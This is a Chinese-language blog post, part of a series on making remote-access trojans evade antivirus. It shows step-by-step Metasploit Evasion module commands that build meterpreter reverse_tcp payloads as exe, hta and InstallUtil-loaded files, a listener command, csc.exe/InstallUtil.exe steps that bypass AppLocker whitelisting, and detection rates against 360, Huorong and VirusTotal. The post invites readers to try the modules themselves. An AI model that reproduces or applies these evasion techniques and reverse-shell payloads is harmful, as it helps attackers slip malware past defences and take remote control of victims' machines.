原文链接:远控免杀专题文章(4)-Evasion模块免杀(VT免杀率12/71)
免杀能力一览表
几点说明:
1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
4、其他杀软的检测指标是在virustotal.com
(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
前言
2019年1月,metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马。
evasion有以下几个模块,可以使用show evasion
进行查看。
生成exe(VT查杀率42/71)
使用use windows/windows_defender_exe
进行生成payload
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3
msf5 evasion(windows/windows_defender_exe) > set LPORT 3333
msf5 evasion(windows/windows_defender_exe) > run
不打开杀软的情况下,可正常上线
handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp
打开杀软,目前已经无法过360和火绒,看网上资料在该模块刚出来时是可以过360的。
virustotal.com中42/71个报毒(前几天测试的时候还是39个…)
生成hta(VT查杀率14/59)
用另外一个evasion模块windows/windows_defender_js_hta
生成一下,360同样被杀
但是火绒静态+行为查杀都没发现问题,可正常上线
virustotal.com中14/59个报毒,不过在线查毒时显示360也没查出来,但我本地测试时却是能查出来的,所以在线查杀还是不太精准的。
生成install_util(VT查杀率12/71)
evasion还提供了其他几个模块,比如
windows/applocker_evasion_install_util
创建payload
msf5 > use windows/applocker_evasion_install_util
msf5 evasion(windows/applocker_evasion_install_util) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 evasion(windows/applocker_evasion_install_util) > set lhost 10.211.55.2
lhost => 10.211.55.2
msf5 evasion(windows/applocker_evasion_install_util) > set lport 3333
lport => 3333
msf5 evasion(windows/applocker_evasion_install_util) > run
[+] install_util.txt stored at /Users/xysoul/.msf4/local/install_util.txt
[*] Copy install_util.txt to the target
[*] Compile using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\csc.exe /out:install_util.exe install_util.txt
[*] Execute using: C:\Windows\Microsoft.Net\Framework\[.NET Version]\InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe
根据说明,需要使用csc.exe进行编译一下,然后用
InstallUtil.exe
加载文件。
csc.exe是微软.NET Framework 中的C#语言编译器,本机安装了.net后就可以找到该文件。我这里用vs2017里的csc.exe进行编译,生成install_util.exe。
直接执行
install_util.exe
是没有任何反应的,需要使用InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe
来加载。
注意的是,如果生成的是32位的payload,就要用32位的.net下的InstallUtil来加载,否则文件会无法执行。
静态查杀都没有问题,执行时360行为查杀会报毒。
在virustotal.com中对install_util.exe进行查杀,发现12/71个报毒
小结
在evasion中共提供了6个免杀模块,大家都可以进行尝试。上文中第三个免杀利用csc白名单加载payload的方式还有很多种,网上也有很多介绍,侯亮大神也提到了很多类似的白名单软件。
而且在2019年1月msf5更新的不止evasion模块,还有个更强大的模板编译函数Metasploit::Framework::Compiler
,提供了更强大的自定义免杀机制。后面文章会讲述该模块使用。
参考
applocker_evasion_install_util.md:https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/evasion/windows/applocker_evasion_install_util.md
基于白名单Csc.exe执行payload:https://micro8.gitbook.io/micro8/contents-1/71-80/77-ji-yu-bai-ming-dan-csc.exe-zhi-hang-payload-di-qi-ji